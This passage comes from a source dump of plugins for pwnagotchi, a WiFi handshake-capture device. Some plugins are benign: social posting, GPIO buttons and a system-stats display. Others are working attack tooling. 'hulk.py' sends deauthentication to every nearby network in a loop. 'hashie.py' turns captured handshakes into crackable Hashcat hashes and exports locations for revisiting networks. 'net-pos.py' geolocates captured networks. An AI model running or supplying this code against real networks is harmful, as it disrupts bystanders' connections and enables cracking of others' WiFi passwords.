__dependencies__ = { 13 | 'pip': ['discord'], 14 | 'webhook_url': '', 15 | 'username': 'pwnagotchi', 16 | } 17 | __defaults__ = { 18 | 'enabled': False, 19 | } 20 | 21 | def __init__(self): 22 | self.ready = False 23 | 24 | def on_loaded(self): 25 | 26 | if 'webhook_url' not in self.options or not self.options['webhook_url']: 27 | logging.error("[discord] Webhook URL is not set, cannot post to Discord") 28 | return 29 | 30 | if 'username' not in self.options or not self.options['username']: 31 | with open('/etc/hostname') as fp: 32 | self.options['username'] = fp.read().strip() 33 | 34 | self.ready = True 35 | logging.info("[discord] plugin loaded") 36 | 37 | # called when there's available internet 38 | def on_internet_available(self, agent): 39 | if not self.ready: 40 | return 41 | 42 | config = agent.config() 43 | display = agent.view() 44 | last_session = agent.last_session 45 | 46 | if last_session.is_new() and last_session.handshakes > 0: 47 | try: 48 | from discord import Webhook, RequestsWebhookAdapter, File 49 | except ImportError as e: 50 | logging.error('[discord] couldn\'t import discord.py (%s)', e) 51 | return 52 | 53 | logging.info('[discord] detected new activity and internet, time to send a message!') 54 | 55 | picture = '/var/tmp/pwnagotchi/pwnagotchi.png' if os.path.exists( 56 | "/var/tmp/pwnagotchi/pwnagotchi.png") else '/root/pwnagotchi.png' 57 | display.on_manual_mode(last_session) 58 | display.image().save(picture, 'png') 59 | display.update(force=True) 60 | 61 | try: 62 | logging.info('[discord] sending message...') 63 | 64 | message = Voice(lang=config['main']['lang']).on_last_session_tweet( 65 | last_session) 66 | url = self.options['webhook_url'] 67 | username = self.options['username'] 68 | 69 | webhook = Webhook.from_url( 70 | url, adapter=RequestsWebhookAdapter()) 71 | webhook.send( 72 | message, username=username, file=File(picture)) 73 | logging.info('[discord] message sent: %s', message) 74 | 75 | last_session.save_session_id() 76 | display.set('status', 'Discord notification sent!') 77 | display.update(force=True) 78 | except Exception as e: 79 | logging.exception('[discord] error while sending message (%s)', e) 80 | -------------------------------------------------------------------------------- /gpio_buttons.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import RPi.GPIO as GPIO 3 | import subprocess 4 | import pwnagotchi.plugins as plugins 5 | 6 | 7 | class GPIOButtons(plugins.Plugin): 8 | __author__ = 'ratmandu@gmail.com' 9 | __version__ = '2.0.0' 10 | __license__ = 'GPL3' 11 | __description__ = 'GPIO Button support plugin' 12 | __defaults__ = { 13 | 'enabled': False, 14 | } 15 | 16 | def __init__(self): 17 | self.running = False 18 | self.ports = dict() 19 | self.commands = None 20 | 21 | def runCommand(self, channel): 22 | command = self.ports[channel] 23 | logging.info(f"Button Pressed! Running command: {command}") 24 | process = subprocess.Popen(command, shell=True, stdin=None, stdout=open("/dev/null", "w"), stderr=None, 25 | executable="/bin/bash") 26 | process.wait() 27 | 28 | def on_loaded(self): 29 | logging.info("GPIO Button plugin loaded.") 30 | 31 | # get list of GPIOs 32 | gpios = self.options['gpios'] 33 | 34 | # set gpio numbering 35 | GPIO.setmode(GPIO.BCM) 36 | 37 | for gpio, command in gpios.items(): 38 | gpio = int(gpio) 39 | self.ports[gpio] = command 40 | GPIO.setup(gpio, GPIO.IN, GPIO.PUD_UP) 41 | GPIO.add_event_detect(gpio, GPIO.FALLING, callback=self.runCommand, bouncetime=600) 42 | logging.info("Added command: %s to GPIO #%d", command, gpio) 43 | -------------------------------------------------------------------------------- /gpio_shutdown.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi import plugins 2 | from RPi import GPIO 3 | import logging 4 | import pwnagotchi 5 | 6 | 7 | class GPIOShutdown(plugins.Plugin): 8 | __author__ = 'tomelleri.riccardo@gmail.com' 9 | __version__ = '2.0.0' 10 | __license__ = 'GPL3' 11 | __description__ = 'GPIO Shutdown plugin' 12 | __dependencies__ = { 13 | 'pip': ['RPi.GPIO'], 14 | } 15 | __defaults__ = { 16 | 'enabled': False, 17 | 'gpio': 21, 18 | } 19 | 20 | def shutdown(self, channel): 21 | logging.warning('[gpioshutdown] Received shutdown command from GPIO') 22 | pwnagotchi.shutdown() 23 | 24 | def on_loaded(self): 25 | logging.info('[gpioshutdown] GPIO Shutdown plugin loaded') 26 | 27 | shutdown_gpio = self.options['gpio'] 28 | GPIO.setmode(GPIO.BCM) 29 | GPIO.setup(shutdown_gpio, GPIO.IN, GPIO.PUD_UP) 30 | GPIO.add_event_detect(shutdown_gpio, GPIO.FALLING, callback=self.shutdown) 31 | 32 | logging.info('[gpioshutdown] Added shutdown command to GPIO %d', shutdown_gpio) 33 | -------------------------------------------------------------------------------- /handshakes-dl.py: -------------------------------------------------------------------------------- 1 | from flask import abort 2 | from flask import send_from_directory 3 | from flask import render_template_string 4 | from pwnagotchi import plugins 5 | 6 | import logging 7 | import os 8 | import glob 9 | 10 | import pwnagotchi 11 | 12 | 13 | TEMPLATE = """ 14 | {% extends "base.html" %} 15 | {% set active_page = "handshakes" %} 16 | 17 | {% block title %} 18 | {{ title }} 19 | {% endblock %} 20 | 21 | {% block styles %} 22 | {{ super() }} 23 | 32 | {% endblock %} 33 | {% block script %} 34 | var shakeList = document.getElementById('list'); 35 | var filter = document.getElementById('filter'); 36 | var filterVal = filter.value.toUpperCase(); 37 | 38 | filter.onkeyup = function() { 39 | document.body.style.cursor = 'progress'; 40 | var table, tr, tds, td, i, txtValue; 41 | filterVal = filter.value.toUpperCase(); 42 | li = shakeList.getElementsByTagName("li"); 43 | for (i = 0; i < li.length; i++) { 44 | txtValue = li[i].textContent || li[i].innerText; 45 | if (txtValue.toUpperCase().indexOf(filterVal) > -1) { 46 | li[i].style.display = "list-item"; 47 | } else { 48 | li[i].style.display = "none"; 49 | } 50 | } 51 | document.body.style.cursor = 'default'; 52 | } 53 | 54 | {% endblock %} 55 | 56 | {% block content %} 57 | 58 | 65 | {% endblock %} 66 | """ 67 | 68 | 69 | class HandshakesDL(plugins.Plugin): 70 | __author__ = 'me@sayakb.com' 71 | __version__ = '1.0.0' 72 | __license__ = 'GPL3' 73 | __description__ = 'Download handshake captures from web-ui.' 74 | __defaults__ = { 75 | 'enabled': False, 76 | } 77 | 78 | def __init__(self): 79 | self.ready = False 80 | 81 | def on_loaded(self): 82 | logging.info("[HandshakesDL] plugin loaded") 83 | 84 | def on_config_changed(self, config): 85 | self.config = config 86 | self.ready = True 87 | 88 | def on_webhook(self, path, request): 89 | if not self.ready: 90 | return "Plugin not ready" 91 | 92 | if path == "/" or not path: 93 | handshakes = glob.glob(os.path.join( 94 | self.config['bettercap']['handshakes'], "*.pcap")) 95 | handshakes = [os.path.basename(path)[:-5] for path in handshakes] 96 | return render_template_string(TEMPLATE, 97 | title="Handshakes | " + pwnagotchi.name(), 98 | handshakes=handshakes) 99 | 100 | else: 101 | dir = self.config['bettercap']['handshakes'] 102 | try: 103 | logging.info(f"[HandshakesDL] serving {dir}/{path}.pcap") 104 | return send_from_directory(directory=dir, filename=path + '.pcap', as_attachment=True) 105 | except FileNotFoundError: 106 | abort(404) 107 | -------------------------------------------------------------------------------- /hashie.py: -------------------------------------------------------------------------------- 1 | from threading import Lock 2 | from pwnagotchi import plugins 3 | import logging 4 | import subprocess 5 | import os 6 | import json 7 | 8 | 9 | class hashie(plugins.Plugin): 10 | __author__ = 'junohea.mail@gmail.com' 11 | __version__ = '2.0.0' 12 | __license__ = 'GPL3' 13 | __defaults__ = { 14 | 'enabled': False, 15 | 'interval': 1, 16 | } 17 | __description__ = ''' 18 | Attempt to automatically convert pcaps to a crackable format. 19 | If successful, the files containing the hashes will be saved 20 | in the same folder as the handshakes. 21 | The files are saved in their respective Hashcat format: 22 | - EAPOL hashes are saved as *.2500 23 | - PMKID hashes are saved as *.16800 24 | All PCAP files without enough information to create a hash are 25 | stored in a file that can be read by the webgpsmap plugin. 26 | 27 | Why use it?: 28 | - Automatically convert handshakes to crackable formats! 29 | We dont all upload our hashes online ;) 30 | - Repair PMKID handshakes that hcxpcaptool misses 31 | - If running at time of handshake capture, on_handshake can 32 | be used to improve the chance of the repair succeeding 33 | - Be a completionist! Not enough packets captured to crack a network? 34 | This generates an output file for the webgpsmap plugin, use the 35 | location data to revisit networks you need more packets for! 36 | 37 | Additional information: 38 | - Currently requires hcxpcaptool compiled and installed 39 | - Attempts to repair PMKID hashes when hcxpcaptool cant find the SSID 40 | - hcxpcaptool sometimes has trouble extracting the SSID, so we 41 | use the raw 16800 output and attempt to retrieve the SSID via tcpdump 42 | - When access_point data is available (on_handshake), we leverage 43 | the reported AP name and MAC to complete the hash 44 | - The repair is very basic and could certainly be improved! 45 | Todo: 46 | Make it so users dont need hcxpcaptool (unless it gets added to the base image) 47 | Phase 1: Extract/construct 2500/16800 hashes through tcpdump commands 48 | Phase 2: Extract/construct 2500/16800 hashes entirely in python 49 | Improve the code, a lot 50 | ''' 51 | 52 | def __init__(self): 53 | logging.info("[hashie] plugin loaded") 54 | self.lock = Lock() 55 | 56 | # called when everything is ready and the main loop is about to start 57 | def on_config_changed(self, config): 58 | handshake_dir = config['bettercap']['handshakes'] 59 | 60 | if 'interval' not in self.options or not (self.status.newer_then_hours(self.options['interval'])): 61 | logging.info('[hashie] Starting batch conversion of pcap files') 62 | with self.lock: 63 | self._process_stale_pcaps(handshake_dir) 64 | 65 | def on_handshake(self, agent, filename, access_point, client_station): 66 | with self.lock: 67 | handshake_status = [] 68 | fullpathNoExt = filename.split('.')[0] 69 | name = filename.split('/')[-1:][0].split('.')[0] 70 | 71 | if os.path.isfile(fullpathNoExt + '.2500'): 72 | handshake_status.append( 73 | 'Already have {}.2500 (EAPOL)'.format(name)) 74 | elif self._writeEAPOL(filename): 75 | handshake_status.append( 76 | 'Created {}.2500 (EAPOL) from pcap'.format(name)) 77 | 78 | if os.path.isfile(fullpathNoExt + '.16800'): 79 | handshake_status.append( 80 | 'Already have {}.16800 (PMKID)'.format(name)) 81 | elif self._writePMKID(filename, access_point): 82 | handshake_status.append( 83 | 'Created {}.16800 (PMKID) from pcap'.format(name)) 84 | 85 | if handshake_status: 86 | logging.info('[hashie] Good news:\n\t\n\t'.join(handshake_status)) 87 | 88 | def _writeEAPOL(self, fullpath): 89 | fullpathNoExt = fullpath.split('.')[0] 90 | filename = fullpath.split('/')[-1:][0].split('.')[0] 91 | subprocess.getoutput( 92 | 'hcxpcaptool -o {}.2500 {} >/dev/null 2>&1'.format(fullpathNoExt, fullpath)) 93 | if os.path.isfile(fullpathNoExt + '.2500'): 94 | logging.debug( 95 | '[hashie] [+] EAPOL Success: {}.2500 created'.format(filename)) 96 | return True 97 | else: 98 | return False 99 | 100 | def _writePMKID(self, fullpath, apJSON): 101 | fullpathNoExt = fullpath.split('.')[0] 102 | filename = fullpath.split('/')[-1:][0].split('.')[0] 103 | subprocess.getoutput( 104 | 'hcxpcaptool -k {}.16800 {} >/dev/null 2>&1'.format(fullpathNoExt, fullpath)) 105 | if os.path.isfile(fullpathNoExt + '.16800'): 106 | logging.debug( 107 | '[hashie] [+] PMKID Success: {}.16800 created'.format(filename)) 108 | return True 109 | else: # make a raw dump 110 | subprocess.getoutput( 111 | 'hcxpcaptool -K {}.16800 {} >/dev/null 2>&1'.format(fullpathNoExt, fullpath)) 112 | if os.path.isfile(fullpathNoExt + '.16800'): 113 | if not self._repairPMKID(fullpath, apJSON): 114 | logging.debug( 115 | '[hashie] [-] PMKID Fail: {}.16800 could not be repaired'.format(filename)) 116 | return False 117 | else: 118 | logging.debug( 119 | '[hashie] [+] PMKID Success: {}.16800 repaired'.format(filename)) 120 | return True 121 | else: 122 | logging.debug( 123 | '[hashie] [-] Could not attempt repair of {} as no raw PMKID file was created'.format(filename)) 124 | return False 125 | 126 | def _repairPMKID(self, fullpath, apJSON): 127 | hashString = "" 128 | clientString = [] 129 | fullpathNoExt = fullpath.split('.')[0] 130 | filename = fullpath.split('/')[-1:][0].split('.')[0] 131 | logging.debug('[hashie] Repairing {}'.format(filename)) 132 | with open(fullpathNoExt + '.16800', 'r') as tempFileA: 133 | hashString = tempFileA.read() 134 | if apJSON != "": 135 | clientString.append('{}:{}'.format(apJSON['mac'].replace( 136 | ':', ''), apJSON['hostname'].encode('hex'))) 137 | else: 138 | # attempt to extract the AP's name via hcxpcaptool 139 | subprocess.getoutput( 140 | 'hcxpcaptool -X /tmp/{} {} >/dev/null 2>&1'.format(filename, fullpath)) 141 | if os.path.isfile('/tmp/' + filename): 142 | with open('/tmp/' + filename, 'r') as tempFileB: 143 | temp = tempFileB.read().splitlines() 144 | for line in temp: 145 | clientString.append(line.split( 146 | ':')[0] + ':' + line.split(':')[1].strip('\n').encode().hex()) 147 | os.remove('/tmp/{}'.format(filename)) 148 | # attempt to extract the AP's name via tcpdump 149 | tcpCatOut = subprocess.check_output( 150 | "tcpdump -ennr " + fullpath + " \"(type mgt subtype beacon) || (type mgt subtype probe-resp) || (type mgt subtype reassoc-resp) || (type mgt subtype assoc-req)\" 2>/dev/null | sed -E 's/.*BSSID:([0-9a-fA-F:]{17}).*\\((.*)\\).*/\\1\t\\2/g'", shell=True).decode('utf-8') 151 | if ":" in tcpCatOut: 152 | for i in tcpCatOut.split('\n'): 153 | if ":" in i: 154 | clientString.append(i.split('\t')[0].replace( 155 | ':', '') + ':' + i.split('\t')[1].strip('\n').encode().hex()) 156 | if clientString: 157 | for line in clientString: 158 | # if the AP MAC pulled from the JSON or tcpdump output matches the AP MAC in the raw 16800 output 159 | if line.split(':')[0] == hashString.split(':')[1]: 160 | hashString = hashString.strip( 161 | '\n') + ':' + (line.split(':')[1]) 162 | if (len(hashString.split(':')) == 4) and not (hashString.endswith(':')): 163 | with open(fullpath.split('.')[0] + '.16800', 'w') as tempFileC: 164 | logging.debug('[hashie] Repaired: {} ({})'.format( 165 | filename, hashString)) 166 | tempFileC.write(hashString + '\n') 167 | return True 168 | else: 169 | logging.debug( 170 | '[hashie] Discarded: {} {}'.format(line, hashString)) 171 | else: 172 | os.remove(fullpath.split('.')[0] + '.16800') 173 | return False 174 | 175 | def _process_stale_pcaps(self, handshake_dir): 176 | handshakes_list = [os.path.join(handshake_dir, filename) for filename in os.listdir( 177 | handshake_dir) if filename.endswith('.pcap')] 178 | failed_jobs = [] 179 | successful_jobs = [] 180 | lonely_pcaps = [] 181 | for num, handshake in enumerate(handshakes_list): 182 | fullpathNoExt = handshake.split('.')[0] 183 | pcapFileName = handshake.split('/')[-1:][0] 184 | if not os.path.isfile(fullpathNoExt + '.2500'): # if no 2500, try 185 | if self._writeEAPOL(handshake): 186 | successful_jobs.append('2500: ' + pcapFileName) 187 | else: 188 | failed_jobs.append('2500: ' + pcapFileName) 189 | if not os.path.isfile(fullpathNoExt + '.16800'): # if no 16800, try 190 | if self._writePMKID(handshake, ""): 191 | successful_jobs.append('16800: ' + pcapFileName) 192 | else: 193 | failed_jobs.append('16800: ' + pcapFileName) 194 | # if no 16800 AND no 2500 195 | if not os.path.isfile(fullpathNoExt + '.2500'): 196 | lonely_pcaps.append(handshake) 197 | logging.debug( 198 | '[hashie] Batch job: added {} to lonely list'.format(pcapFileName)) 199 | # report progress every 50, or when done 200 | if ((num + 1) % 50 == 0) or (num + 1 == len(handshakes_list)): 201 | logging.info('[hashie] Batch job: {}/{} done ({} fails)'.format( 202 | num + 1, len(handshakes_list), len(lonely_pcaps))) 203 | if successful_jobs: 204 | logging.info('[hashie] Batch job: {} new handshake files created'.format( 205 | len(successful_jobs))) 206 | if lonely_pcaps: 207 | logging.info('[hashie] Batch job: {} networks without enough packets to create a hash'.format( 208 | len(lonely_pcaps))) 209 | self._getLocations(lonely_pcaps) 210 | 211 | def _getLocations(self, lonely_pcaps): 212 | # export a file for webgpsmap to load 213 | with open('/root/.incompletePcaps', 'w') as isIncomplete: 214 | count = 0 215 | for pcapFile in lonely_pcaps: 216 | filename = pcapFile.split('/')[-1:][0] # keep extension 217 | fullpathNoExt = pcapFile.split('.')[0] 218 | isIncomplete.write(filename + '\n') 219 | if os.path.isfile(fullpathNoExt + '.gps.json') or os.path.isfile(fullpathNoExt + '.geo.json') or os.path.isfile(fullpathNoExt + '.paw-gps.json'): 220 | count += 1 221 | if count != 0: 222 | logging.info('[hashie] Used {} GPS/GEO/PAW-GPS files to find lonely networks, go check webgpsmap! ;)'.format(str(count))) 223 | else: 224 | logging.info('[hashie] Could not find any GPS/GEO/PAW-GPS files for the lonely networks') 225 | 226 | def _getLocationsCSV(self, lonely_pcaps): 227 | # in case we need this later, export locations manually to CSV file, needs try/catch/paw-gps format/etc. 228 | locations = [] 229 | for pcapFile in lonely_pcaps: 230 | filename = pcapFile.split('/')[-1:][0].split('.')[0] 231 | fullpathNoExt = pcapFile.split('.')[0] 232 | if os.path.isfile(fullpathNoExt + '.gps.json'): 233 | with open(fullpathNoExt + '.gps.json', 'r') as tempFileA: 234 | data = json.load(tempFileA) 235 | locations.append( 236 | filename + ',' + str(data['Latitude']) + ',' + str(data['Longitude']) + ',50') 237 | elif os.path.isfile(fullpathNoExt + '.geo.json'): 238 | with open(fullpathNoExt + '.geo.json', 'r') as tempFileB: 239 | data = json.load(tempFileB) 240 | locations.append(filename + ',' + str(data['location']['lat']) + ',' + str( 241 | data['location']['lng']) + ',' + str(data['accuracy'])) 242 | elif os.path.isfile(fullpathNoExt + '.paw-gps.json'): 243 | with open(fullpathNoExt + '.paw-gps.json', 'r') as tempFileC: 244 | data = json.load(tempFileC) 245 | locations.append( 246 | filename + ',' + str(data['lat']) + ',' + str(data['long']) + ',50') 247 | if locations: 248 | with open('/root/locations.csv', 'w') as tempFileD: 249 | for loc in locations: 250 | tempFileD.write(loc + '\n') 251 | logging.info( 252 | '[hashie] Used {} GPS/GEO files to find lonely networks, load /root/locations.csv into a mapping app and go say hi!'.format(len(locations))) 253 | -------------------------------------------------------------------------------- /hulk.py: -------------------------------------------------------------------------------- 1 | import json 2 | import logging 3 | import os 4 | from time import sleep 5 | from pwnagotchi import plugins 6 | 7 | 8 | class Hulk(plugins.Plugin): 9 | __author__ = '33197631+dadav@users.noreply.github.com' 10 | __version__ = '1.0.0' 11 | __license__ = 'GPL3' 12 | __description__ = 'This will put pwnagotchi in hulk mode. Hulk is always angry!' 13 | __defaults__ = { 14 | 'enabled': False, 15 | } 16 | 17 | def __init__(self): 18 | self.options = dict() 19 | self.running = False 20 | 21 | def on_loaded(self): 22 | logging.info('[hulk] PLUGIN IS LOADED! WHAAAAAAAAAAAAAAAAAA') 23 | self.running = True 24 | 25 | def on_unload(self, ui): 26 | self.running = False 27 | 28 | def on_ready(self, agent): 29 | display = agent.view() 30 | i = 0 31 | while self.running: 32 | i += 1 33 | if i % 10 == 0: 34 | display.set('status', 'HULK SMASH!!') 35 | try: 36 | agent.run('wifi.deauth *') 37 | except Exception: 38 | pass 39 | finally: 40 | sleep(5) 41 | -------------------------------------------------------------------------------- /mastodon.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi import plugins 2 | from pwnagotchi.voice import Voice 3 | import os 4 | import logging 5 | try: 6 | from mastodon import Mastodon 7 | except ImportError as ie: 8 | logging.error('[mastodon] Could not import mastodon (%s)', ie) 9 | 10 | 11 | class MastodonStatus(plugins.Plugin): 12 | __author__ = 'siina@siina.dev' 13 | __version__ = '2.0.0' 14 | __license__ = 'GPL3' 15 | __description__ = 'Periodically post status updates. Based on twitter plugin by evilsocket' 16 | __dependencies__ = { 17 | 'pip': ['Mastodon.py'], 18 | } 19 | __defaults__ = { 20 | 'enabled': False, 21 | 'instance_url': '', 22 | 'visibility': 'unlisted', 23 | 'email': '', 24 | 'password': '', 25 | } 26 | 27 | def on_loaded(self): 28 | logging.info('[mastodon] plugin loaded.') 29 | 30 | # Called when there's available internet 31 | def on_internet_available(self, agent): 32 | config = agent.config() 33 | display = agent.view() 34 | last_session = agent.last_session 35 | api_base_url = self.options['instance_url'] 36 | email = self.options['email'] 37 | password = self.options['password'] 38 | visibility = self.options['visibility'] 39 | client_cred = '/root/.mastodon.client.secret' 40 | user_cred = '/root/.mastodon.user.secret' 41 | 42 | if last_session.is_new() and last_session.handshakes > 0: 43 | logging.info('[mastodon] Detected internet and new activity: time to post!') 44 | 45 | if not os.path.isfile(user_cred) or not os.path.isfile(client_cred): 46 | # Runs only if there are any missing credential files 47 | Mastodon.create_app( 48 | config['main']['name'], 49 | api_base_url=api_base_url, 50 | to_file=client_cred 51 | ) 52 | picture = '/root/pwnagotchi.png' 53 | display.on_manual_mode(last_session) 54 | display.image().save(picture, 'png') 55 | display.update(force=True) 56 | 57 | try: 58 | logging.info('[mastodon] Connecting to Mastodon API') 59 | mastodon = Mastodon( 60 | client_id=client_cred, 61 | api_base_url=api_base_url 62 | ) 63 | mastodon.log_in( 64 | email, 65 | password, 66 | to_file=user_cred 67 | ) 68 | mastodon = Mastodon( 69 | access_token=user_cred, 70 | api_base_url=api_base_url 71 | ) 72 | message = Voice(lang=config['main']['lang']).on_last_session_tweet(last_session) 73 | mastodon.status_post( 74 | message, 75 | media_ids=mastodon.media_post(picture), 76 | visibility=visibility 77 | ) 78 | 79 | last_session.save_session_id() 80 | logging.info('[mastodon] posted: %s', message) 81 | display.set('status', 'Posted!') 82 | display.update(force=True) 83 | except Exception as ex: 84 | logging.exception('[mastodon] error while posting: %s', ex) 85 | -------------------------------------------------------------------------------- /memtemp.py: -------------------------------------------------------------------------------- 1 | # memtemp shows memory infos and cpu temperature 2 | # 3 | # mem usage, cpu load, cpu temp 4 | # 5 | ############################################################### 6 | # 7 | # Updated 18-10-2019 by spees 8 | # - Changed the place where the data was displayed on screen 9 | # - Made the data a bit more compact and easier to read 10 | # - removed the label so we wont waste screen space 11 | # - Updated version to 1.0.1 12 | # 13 | # 20-10-2019 by spees 14 | # - Refactored to use the already existing functions 15 | # - Now only shows memory usage in percentage 16 | # - Added CPU load 17 | # - Added horizontal and vertical orientation 18 | # 19 | ############################################################### 20 | from pwnagotchi.ui.components import LabeledValue 21 | from pwnagotchi.ui.view import BLACK 22 | import pwnagotchi.ui.fonts as fonts 23 | import pwnagotchi.plugins as plugins 24 | import pwnagotchi 25 | import logging 26 | 27 | 28 | class MemTemp(plugins.Plugin): 29 | __author__ = 'https://github.com/xenDE' 30 | __version__ = '1.0.1' 31 | __license__ = 'GPL3' 32 | __description__ = 'A plugin that will display memory/cpu usage and temperature' 33 | __defaults__ = { 34 | 'enabled': False, 35 | 'scale': 'celsius', 36 | 'orientation': 'horizontal', 37 | } 38 | 39 | def on_loaded(self): 40 | logging.info("[memtemp] plugin loaded.") 41 | 42 | def mem_usage(self): 43 | return int(pwnagotchi.mem_usage() * 100) 44 | 45 | def cpu_load(self): 46 | return int(pwnagotchi.cpu_load() * 100) 47 | 48 | def on_ui_setup(self, ui): 49 | if ui.is_waveshare_v2(): 50 | h_pos = (180, 80) 51 | v_pos = (180, 61) 52 | elif ui.is_waveshare_v1(): 53 | h_pos = (170, 80) 54 | v_pos = (170, 61) 55 | elif ui.is_waveshare144lcd(): 56 | h_pos = (53, 77) 57 | v_pos = (78, 67) 58 | elif ui.is_inky(): 59 | h_pos = (140, 68) 60 | v_pos = (165, 54) 61 | elif ui.is_waveshare27inch(): 62 | h_pos = (192, 138) 63 | v_pos = (216, 122) 64 | else: 65 | h_pos = (155, 76) 66 | v_pos = (180, 61) 67 | 68 | if self.options['orientation'] == "vertical": 69 | ui.add_element('memtemp', LabeledValue(color=BLACK, label='', value=' mem:-\n cpu:-\ntemp:-', 70 | position=v_pos, 71 | label_font=fonts.Small, text_font=fonts.Small)) 72 | else: 73 | # default to horizontal 74 | ui.add_element('memtemp', LabeledValue(color=BLACK, label='', value='mem cpu temp\n - - -', 75 | position=h_pos, 76 | label_font=fonts.Small, text_font=fonts.Small)) 77 | 78 | def on_unload(self, ui): 79 | with ui._lock: 80 | ui.remove_element('memtemp') 81 | 82 | def on_ui_update(self, ui): 83 | if self.options['scale'] == "fahrenheit": 84 | temp = (pwnagotchi.temperature() * 9 / 5) + 32 85 | symbol = "f" 86 | elif self.options['scale'] == "kelvin": 87 | temp = pwnagotchi.temperature() + 273.15 88 | symbol = "k" 89 | else: 90 | # default to celsius 91 | temp = pwnagotchi.temperature() 92 | symbol = "c" 93 | 94 | if self.options['orientation'] == "vertical": 95 | ui.set('memtemp', 96 | " mem:%s%%\n cpu:%s%%\ntemp:%s%s" % (self.mem_usage(), self.cpu_load(), temp, symbol)) 97 | else: 98 | # default to horizontal 99 | ui.set('memtemp', 100 | " mem cpu temp\n %s%% %s%% %s%s" % (self.mem_usage(), self.cpu_load(), temp, symbol)) 101 | -------------------------------------------------------------------------------- /net-pos.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | import os 4 | import threading 5 | import requests 6 | import time 7 | from pwnagotchi import plugins 8 | from pwnagotchi.utils import StatusFile 9 | 10 | 11 | class NetPos(plugins.Plugin): 12 | __author__ = 'zenzen san' 13 | __version__ = '3.0.0' 14 | __license__ = 'GPL3' 15 | __description__ = """Saves a json file with the access points with more signal 16 | whenever a handshake is captured. 17 | When internet is available the files are converted in geo locations 18 | using Mozilla LocationService """ 19 | __defaults__ = { 20 | 'enabled': False, 21 | 'api_key': 'test', 22 | 'api_url': 'https://location.services.mozilla.com/v1/geolocate?key={api}', 23 | } 24 | 25 | def __init__(self): 26 | self.report = StatusFile('/root/.net_pos_saved', data_format='json') 27 | self.skip = list() 28 | self.ready = False 29 | self.lock = threading.Lock() 30 | self.shutdown = False 31 | 32 | def on_before_shutdown(self): 33 | self.shutdown = True 34 | 35 | def on_loaded(self): 36 | if 'api_key' not in self.options or ('api_key' in self.options and not self.options['api_key']): 37 | logging.error('[net-pos] api_key isn\'t set. Can\'t use mozilla\'s api.') 38 | return 39 | self.ready = True 40 | logging.info('[net-pos] plugin loaded.') 41 | logging.debug(f"[net-pos] use api_url: {self.options['api_url']}") 42 | 43 | def _append_saved(self, path): 44 | to_save = list() 45 | if isinstance(path, str): 46 | to_save.append(path) 47 | elif isinstance(path, list): 48 | to_save += path 49 | else: 50 | raise TypeError("Expected list or str, got %s" % type(path)) 51 | 52 | with open('/root/.net_pos_saved', 'a') as saved_file: 53 | for x in to_save: 54 | saved_file.write(x + "\n") 55 | 56 | def on_internet_available(self, agent): 57 | if not self.ready or self.lock.locked() or self.shutdown: 58 | return 59 | 60 | with self.lock: 61 | config = agent.config() 62 | display = agent.view() 63 | reported = self.report.data_field_or('reported', default=list()) 64 | handshake_dir = config['bettercap']['handshakes'] 65 | 66 | all_files = os.listdir(handshake_dir) 67 | all_np_files = [os.path.join(handshake_dir, filename) 68 | for filename in all_files 69 | if filename.endswith('.net-pos.json')] 70 | new_np_files = set(all_np_files) - set(reported) - set(self.skip) 71 | 72 | if new_np_files: 73 | logging.debug('[net-pos] Found %d new net-pos files. Fetching positions ...', len(new_np_files)) 74 | display.set('status', f"Found {len(new_np_files)} new net-pos files. Fetching positions ...") 75 | display.update(force=True) 76 | for idx, np_file in enumerate(new_np_files): 77 | if self.shutdown: 78 | return 79 | 80 | geo_file = np_file.replace('.net-pos.json', '.geo.json') 81 | if os.path.exists(geo_file): 82 | # got already the position 83 | reported.append(np_file) 84 | self.report.update(data={'reported': reported}) 85 | continue 86 | 87 | try: 88 | geo_data = self._get_geo_data(np_file) # returns json obj 89 | except requests.exceptions.RequestException as req_e: 90 | logging.error('[net-pos] %s - RequestException: %s', np_file, req_e) 91 | self.skip += np_file 92 | continue 93 | except json.JSONDecodeError as js_e: 94 | logging.error('[net-pos] %s - JSONDecodeError: %s, removing it...', np_file, js_e) 95 | os.remove(np_file) 96 | continue 97 | except OSError as os_e: 98 | logging.error('[net-pos] %s - OSError: %s', np_file, os_e) 99 | self.skip += np_file 100 | continue 101 | 102 | with open(geo_file, 'w+t') as sf: 103 | json.dump(geo_data, sf) 104 | 105 | reported.append(np_file) 106 | self.report.update(data={'reported': reported}) 107 | 108 | display.set('status', f"Fetching positions ({idx + 1}/{len(new_np_files)})") 109 | display.update(force=True) 110 | 111 | def on_handshake(self, agent, filename, access_point, client_station): 112 | netpos = self._get_netpos(agent) 113 | if not netpos['wifiAccessPoints']: 114 | return 115 | 116 | netpos["ts"] = int("%.0f" % time.time()) 117 | netpos_filename = filename.replace('.pcap', '.net-pos.json') 118 | logging.debug('[net-pos] Saving net-location to %s', netpos_filename) 119 | 120 | try: 121 | with open(netpos_filename, 'w+t') as net_pos_file: 122 | json.dump(netpos, net_pos_file) 123 | except OSError as os_e: 124 | logging.error('[net-pos] %s', os_e) 125 | 126 | def _get_netpos(self, agent): 127 | aps = agent.get_access_points() 128 | netpos = dict() 129 | netpos['wifiAccessPoints'] = list() 130 | # 6 seems a good number to save a wifi networks location 131 | for access_point in sorted(aps, key=lambda i: i['rssi'], reverse=True)[:6]: 132 | netpos['wifiAccessPoints'].append({'macAddress': access_point['mac'], 133 | 'signalStrength': access_point['rssi']}) 134 | return netpos 135 | 136 | def _get_geo_data(self, path, timeout=30): 137 | geourl = self.options['api_url'].format(api=self.options['api_key']) 138 | 139 | try: 140 | with open(path, "r") as json_file: 141 | data = json.load(json_file) 142 | except json.JSONDecodeError as js_e: 143 | raise js_e 144 | except OSError as os_e: 145 | raise os_e 146 | 147 | try: 148 | result = requests.post(geourl, 149 | json=data, 150 | timeout=timeout) 151 | return_geo = result.json() 152 | if data["ts"]: 153 | return_geo["ts"] = data["ts"] 154 | return return_geo 155 | except requests.exceptions.RequestException as req_e: 156 | raise req_e 157 | -------------------------------------------------------------------------------- /onlinehashcrack.py: -------------------------------------------------------------------------------- 1 | import os 2 | import csv 3 | import logging 4 | import re 5 | import requests 6 | from datetime import datetime 7 | from threading import Lock 8 | from pwnagotchi.utils import StatusFile, remove_whitelisted 9 | from pwnagotchi import plugins 10 | from json.decoder import JSONDecodeError 11 | 12 | 13 | class OnlineHashCrack(plugins.Plugin): 14 | __author__ = '33197631+dadav@users.noreply.github.com' 15 | __version__ = '2.1.5' 